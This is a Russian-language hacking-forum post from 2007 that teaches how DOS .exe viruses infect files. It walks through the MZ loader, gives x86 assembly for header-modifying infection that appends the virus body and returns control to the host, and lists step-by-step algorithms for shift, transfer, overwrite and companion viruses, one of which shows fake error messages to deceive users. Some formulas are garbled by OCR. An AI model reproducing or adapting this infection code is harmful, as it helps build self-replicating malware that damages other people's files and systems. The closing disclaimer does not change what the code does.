Авторские статьи Урок анатомии .exe-вирусы

Discussion in 'Статьи' started by $iD, 8 Mar 2007.

Thread Status:
Not open for further replies.
  1. $iD

    $iD Banned

    Joined:
    9 Dec 2006
    Messages:
    17
    Likes Received:
    20
    Reputations:
    11
    Урок анатомии. EXE – вирусы.

    На данный момент это самый распространенный вид вирусов. Впрочем, механизм заражения .exe-программ встроен практически во все вредоносные коды. Именно поэтому данная тема является одной из самых важных. Что ж начнем….

    .exe-файл может состоять из нескольких сегментов (кодов, данных, стека). У .exe-файла имеется заголовок, использующийся при загрузке приложения. Заголовок состоит из двух частей: форматированный и таблицы настройки адресов (Relocation Table). Форматированная часть заключает в себе сигнатуру программы и данные необходимые для загрузки. Таблица настройки адресов имеет формат “сегмент:смещение”. К смещениям в загрузочном модуле, на которые указывают значения в таблице, после загрузки программа. Итак, для начала рассмотрим, пожалую, все тот же алгоритм загрузки программы расширения .exe. Загружает программу в память системный загрузчик (функция DOS 4Bh), и при этом выполняются действия в следующей последовательности:

    1. Определяется сегментный адрес свободного участка памяти, размер которого достаточен для размещения программы.
    2. Создается и заполняется блок памяти для переменных среды.
    3. Создается блок памяти для PSP и программы (сегмент ЮОООЬ – PSP; сегмент + ООЮЬЮОООЬ - программа). В поля PSP заносятся соответствующие значения.
    4. Адрес DTA устанавливается равным PSP:0050h.
    5. В рабочую область загрузчика считывается форматированная часть заголовка .exe-файла.
    6. Вычисляется длинна загрузочного модуля по формуле: SI7.e = ((PageCnt*512) – (HdrSae*16))-Pa!tP3ig.
    7. Определяется смещение загрузочного модуля в файле, равное HdrSize*16.
    8. Вычисляется сегментный адрес (START_SEG) для загрузки – обычно это PSP+10h.
    9. Считывается в память загрузочный модуль (начиная с адреса START_SEG:0000).
    10. Для каждого входа таблицы настройки:
    a ) читаются слова I_OFF и I_SEG;
    b ) вычисляется RELC^SEG-START^SEG+LSEG;
    c ) считается слово по адресу RELO_SEG:I_OFF).
    d ) к прочитанному слову прибавляется START_SEG;
    e ) результат запоминается по тому же адресу (RELO_SEG:I_OFF).
    11. Распределяется память для программы в соответствии с МахМет и МтМет.
    12. Инициализируются регистры, выполняется программа:
    a ) ES=DS╟ PSP;
    b ) AX = результат проверки правильности идентификаторов драйверов, указанных в командной строке;
    c ) SS╟ START_SEG + ReloSS, SP-ExeSP;
    d ) CS=START_SEG + ReloCS, IP=ExeIP.

    Exe – вирусы бывают разные, следовательно, и способы заражения у них разные. Выделяют три основных способа. Пожалуй, самым распространенным является следующий: тело вируса записывается так, чтобы точка запуска программы находилась в начале вируса. Таким образом, при запуске управление получает вирус, он инфицирует ещё несколько программ, потом берет из сохраненного заголовка оригинальный адрес запуска программы, прибавляет к его сегментной компоненте значение регистра DS или ES (полученное при старте вируса) и передает управление на полученный адрес. Следующий способ носит назваие “способ сдвига”. Работает все предельно просто: вирус считывает в память компьютера код заражаемой программ, потом записывает сначала свой код и к нему прикрепляет код программы, как бы смещая ее. При запуске такой программы управление получает вирус, он заражает ещё несколько файлов, после считывает код программы и передает управление этому файлу. После выполнения программы файл удаляется. При повторном запуске инфицированной программы все повторяется. Однако этот способ крайне неудобен, ведь в нынешнее время редко встретишь программу маленького размера, а чем больше размер, тем больше времени надо для выполнения описанных выше громоздких операций.

    Третий способ заражения файлов – метод переноса – по всей видимости, является самым совершенным из всех перечисленных. Вирус размножается следующим образом: при запуске инфицированной программы. В память считывается ее начало, по длине равное телу вируса. На это место записывается тело вируса. Начало программы из памяти дописывается в конец файла. Отсюда название метода – “метод переноса”. После того, как вирус инфицировал один или несколько файлов, он приступает к исполнению программы, из которой запустился. Для этого он считывает начало инфицированной программы, сохраненное в конец файла, и записывает его в начало файла, восстанавливая работоспособность программы. Затем вирус удаляет код начала программы из конца файла, восстанавливая оригинальную длину файла, и исполняет программу. После завершения программы вирус вновь записывает свой код в начало файла, а оригинальное начало программы – в конец. Этим методом могут быть инфицированы даже антивирусы, которые проверяют свой код на целостность, так как запускаемая вирусом программа имеет в точности такой же код, как и до инфицирования. Теперь давайте рассмотрим каждый из способов заражения подробней.

    Стандартное заражение (изменение заголовка)

    В принципе, этот метод мало чем отличается от работы .com-вируса, но при работе с .exe-файлами есть свои отличия, поэтому рассмотрим небольшой участок кода и попробуем разобраться:

    ; Читаем заголовок .exe-файла (точнее, только первые 18h байт, которых вполне достаточно)
    ReadHeader:
    mov ah, 3Fh
    mov dx, offset EXEHeader
    mov cx, 0018h
    int 21h
    ; Останавливаем в SI адрес считанного заголовка. В дальнейшем будем обращаться к заголовку, используя SI + смещение элемента
    mov si, offset EXEHeader
    ; Получаем реальную длину файла, переместив указатель текущей позиции чтения/записи в конец фала
    GetRealSize:
    mov ax, 4202h
    mov bx, Handle
    xor cx, cx
    xor dx, dx
    int 21h
    ; Сохраним полученную длину файла
    mov Reallen, dx
    mov Reallen+2, ax
    ; Так речь идет о стандартной процедуре заражения, нужно помнить, что все вышесказанное не должно затрагивать оверлейные файлы. Их длина, указанная в заголовке, меньше реальной, то есть эти файлы загружаются в память не полностью. Следовательно, если заразить такой файл, вирус попадет в незагружаемую часть. Сохраним в стеке реальную длину .exe – файла
    push dx
    push ax
    ; рассчитаем размер .exe – файла в 512-байтный страницах и остаток CompareOVL
    mov cx,0200h
    div cx
    ; На данный момент в регистре AX находится число страниц (в каждой странице содержится 512 байт), а в регистре DX – остаток, образующий еще одну (неучтенную) страницу. Добавим эту страницу к общему числу страниц – если остаток не равен нулю, то увеличим число страниц
    or dx,dx
    jz m1
    inc ax
    m1:
    ; Будем считать пригодными для заражения стандартным способом файлы с длиной, полностью совпадающей с указанной в заголовке
    cmp ax, [si+PartPag]
    jne ExitProc
    cmp dx, [si+PageCnt]
    jne ExitProc
    ; Чтобы вирус смог вернуть управление зараженной программе, сохраним поля ReloSS,
    ; ExeSP, ReloSS, ExeIP из заголовка .exe-файла.
    ; Значение констант, используемых в программе, равны смещению соответствующего элемента в заголовке .exe-файла (приложение А)
    InitRetVars:
    mov ax, [si+ReloSS]
    mov olds, ax
    mov ax, [si+ExeSP]
    mov oldsp, ax
    mov ax, [si+ReloCS]
    mov oldcs, ax
    mov ax, [si+ExeIP]
    mov oldip, ax
    ; Восстановим из стека реальную длину файла. В данном случае она совпадает с длиной, указанной в заголовке
    pop ax
    pop dx
    ; Рассчитаем длину программы с вирусом, для чего прибавим к длине файла длину тела вируса
    add ax, VIRSIZE ;VIRSIZE – длина тела вируса
    adc dx, 0
    ; рассчитаем получившуюся длину (одна страница – 512 байт) и остаток в последней странице (так же, как рассчитывали длину файла без вируса)
    mov cx, 0200h
    div cx
    or dx, dx
    jz newJen
    inc ax
    NewJen:
    ; Внесем в заголовок новую длину файла
    mov [si+PageCnt], ax
    mov [si+PartPag], dx
    ; Прочитаем реальную длину файла. По ней будем рассчитывать новую точку входа в программу (адрес запуска)
    Eval_new_entry:
    mov dx, Reallen+2
    mov ax, Reallen
    ; Рассчитаем новую точку входа. Точка входа в вирус должна находиться в начале тела. другими словами, нужно к длине файла прибавить смещение точки входа. Разделим длину на размер параграфа (10р)
    mov cx, 10h
    div cx
    ; Получили число параграфов (AX) и остаток (DX – смещение вируса в последнем параграфе). Отнимем от числа параграфов в заголовке – получим сегмент входа в .exe-файл
    sub ax, [si+HdrSize]
    ; Запишем новую точку входа в заголовок
    mov [si+ReloSS], ax
    mov [si+ExeIP], dx
    ; Замечание: можно было округлить полученное число, и вирус начинался с 0000h. Но этого делать не стоит. Естественно, все обращения к данным в этом вирусе должны быть нефиксированными, как и в любом другом вирусе. Вместо “mov ax, ANYDATA”; придется делать так:
    ; mov si, VIRSTART
    ; mov ax, [si+offset ANYDATA]
    ; где offset ANYDATA – смещение относительно начала тела вируса.
    ; Стек поставим за тело вируса – байт на 100h. Потом обязательно вернем, иначе можно стереть заготовленные в стеке значение! Установим сегмент стека такой же, как и у кода, а указатель – на вершину стека – на 100h байт после тела вируса
    mov [si+ReloSS], ax
    mov ax, VIRSIZE+100h
    mov [si+ExeSP], ax
    ; Теперь запишем заголовок в файл, не забыв и тело вируса. Рекомендуется писать сначала тело, а потом заголовок. Если тело вдруг не допишется, то файл испортим зря
    UpdateRle:
    ; Запишем тело вируса
    WriteBody:
    ; Установим указатель чтения/записи в конец файла
    mov bx, Handle
    xor cx, cx
    xor dx, dx
    mov ax, 4202h
    int 21h
    ; Запишем тело вируса в файл
    mov ah, 40h
    mov cx, VIRSIZE
    mov dx, offset VIRStart
    int 21h
    ; Запишем заголовок
    WriteHeader:
    ; Установим указатель чтение/записи в начало файла
    mov ax, 4200h
    xor cx, cx
    xor dx, dx
    int 21h
    Приведенный код описывает заражение файл, однако, чтобы не возникло подозрений, необходимо, чтобы вирус после работы передал управление программе:
    CureEXE:
    StackBack:
    ; Установим первоначальный указатель (сегмент и смещение) стека
    mov ax, ds
    ; Прибавим 0010h, после чего в AX будет находится сегмент, с которого загружен программный модуль
    add ax, 10h
    ; Прибавим первоначальный сегмент стека
    db @add_ax ; код ADD AX, дальше по аналогии
    OldSS dw ?
    ; это значение было установлено при заражении
    ; Запретим прерывания, так как со стеком нельзя работать, пока и сегмент, и смещение не установлены в нужное значение
    cli
    ; Установим сегмент стека (PSP+Wh+OldSS)
    mov ss, ax
    ; Установим первоначальный указатель (смещение) стека
    db @mov_sp
    OldSP dw ?
    ; Разрешим прерывания – опасный участок пройден
    sti
    ; Подготовим значения в стеке для команды IRET
    RetEntryPoint:
    pushf
    ; рассчитаем сегмент для кода по аналогии с сегментом стека
    mov ax, DATASEG
    add ax, 10h
    db @add_ax
    OldCS dw ?
    ; Сохраним в стеке полученное значение (PSP+Wh+OldCS)
    push ax
    ; Сохраним в стеке смещение исходной точки входа
    db @mov_ax
    OldIP dw ?
    push ax
    ; Запустим программу. В стеке находятся смещение точки входа, сегмент точки входа и флаги
    Iret

    Заражение способом сдвига кода
    Как уже говорилось, при заражении этим способом код программы сдвигается в файле. Рассмотрим алгоритм заражения:
    1. Открыть файл, из которого получено управление.
    2. Считать в буфер тело вируса.
    3. Закрыть файл.
    4. Найти файл жертву.
    5. Открыть файл-жертву.
    6. Проверить файл на повторное заражение (здесь могут быть варианты, но чаще всего используется сигнатура).
    7. Если файл уже инфицирован, перейти к пункту 3.
    8. Считать в буфер все тело программы.
    9. Записать в начало файла тело вируса из буфера.
    10. дописать в файл после тела вируса тело программы из буфера. Длина программы увеличивается на длину вируса.
    11. Закрыть файл-жертву.
    12. Открыть файл, из которого стартовали.
    13. Считать в буфер тело инфицированной программы, расположение в файле после тела вируса.
    14. Создать на диске временный файл с расширением .com или .exe (в зависимости от того, какой тип программ заражается).
    15. Записать в этот файл тело программы из буфера.
    16. Закрыть созданный файл.
    17. Процедурой Exec запустить созданный файл на исполнение – выполнится инфицированная программа.
    18. После завершения работы программы созданный файл удалить.
    19. Вернуть управление ОС.

    Внедрение способом переноса
    Недостаток этого способа заключается в одной неприятной вещи. Если при работе инфицированной программы машина неожиданно зависнет или перезагрузится в результате сбоя системы, то инфицированная программа окажется чистой, т.е. без тела вируса, но случаи таких совпадений единичны. Рассмотрим алгоритм действия:
    1. Открыть файл, из которого получено управление.
    2. Считать в буфер тело вируса.
    3. Закрыть файл.
    4. Найти файл-жертву.
    5. Открыть файл-жертву.
    6. Проверить файл на повторное заражение (здесь могут быть варианты, но чаще всего используется сигнатура).
    7. Если файл уже инфицирован, перейти к пункту 3.
    8. Считать в буфер из начала найденного файла фрагмент программы, по длине равный телу вируса.
    9. Записать в начало файла тело вируса из буфера.
    10. Дописать в конец файла считанное начало программы из буфера. длина программы увеличилась на длину вируса.
    11. Закрыть файл-жертву.
    12. Отрыть файл, из которого стартовали.
    13. Считать в буфер начало инфицированной программы, расположенное в конце файла.
    14. Записать считанное начало программы поверх кода вируса в начало файла.
    15. Сократить файл, до его оригинальной длины (то есть удалить часть кода, по длине равную длине тела вируса, в конце файла).
    16. Закрыть файл.
    17. Процедурой Exec запустить стартовый файл (ParamStr(O)) на исполнение – выполнится инфицированная программа.
    18. После завершения работы программы опять открыть файл стартовый файл.
    19. Записать в начало файла тело вируса, а оригинальное начало программы опять переместить в конце файла.
    20. Закрыть файл.
    21. Вернуть управление ОС.

    Напоследок…
    Но имеются вирусы, которые не внедряют свой код в файл жертвы. Как же действуют они? Давайте рассмотрим два вида таких вирусов:

    Вирусы, замещающие программный код (Overwrite).
    Редкое но все же явление. Этот класс вирусов замещает программный код своим, при этом первый не сохраняется. Алгоритм работы следующий:
    1. Открыть файл, из которого вирус получил управление.
    2. Считать в буфер код вируса.
    3. Закрыть файл.
    4. Искать по маске подходящий для заражения файл.
    5. Если файлов больше не найдено, перейти к пункту 11.
    6. Открыть найденный файл.
    7. Проверить, не заражен ли найденный файл этим вирусом .
    8. Если файл заражен, перейти к пункту 10.
    9. Записать в начало файла код вируса.
    10. Закрыть файл (по желанию можно заразить от одного до всех файлов в каталоге или на диске).
    11. Выдать на экран какое-либо сообщение об ошибке – например, “Abnormal program termination” или “Not enough memory” - пусть пользователь не слишком удивляется томф, что программа не запустилась.
    12. Завершить программу.

    Вирусы-спутники (Companion).
    Эти не трогают программный код (кроме как изменяют точку старта) – они просто создают файл-спутник (как правило .com). При запуске инфицированного файла управление передается файлу спутнику, т.е. вирусу. Рассмотрим алгоритм такого вируса, работающего под DOS (заражение производится с помощью командного процессора):
    1. Если в командной строке указаны параметры, сохранить их в переменную типа String для передачи инфицированной программе.
    2. Найти .exe-файл жертву.
    3. Проверить, не присутствует ли в каталоге с найденным .exe-файлом COM-файл с таким же именем, как у файла-жертвы.
    4. Если такой COM-файл присутствует, файл уже заражен, переходим к пункту 6.
    5. С помощью командного процесса скопировать файл, из которого получено управление, в файл с именем жертвы и расширением .com.
    6. Процедурой Exec загрузить и выполнить файл с именем стартового, но с расширением .exe – т.е. выполнить инфицированную программу.
    7. Вернуть управление DOS.

    Ну вот в принципе и все. Мы рассмотрели способы заражения и работы вирусов для .exe-файлов.

    p.S. Вся изложенная в статье информация носит ознакомительный характер. Автор не несет ответственности за использование этой информации в противозаконных целях.

    Author: $iD
    Special for SickNet
     
    5 people like this.
  2. _Great_

    _Great_ Elder - Старейшина

    Joined:
    27 Dec 2005
    Messages:
    2,032
    Likes Received:
    1,119
    Reputations:
    1,139
    Господи.. Psp, сегменты.. это же дос :)
     
Thread Status:
Not open for further replies.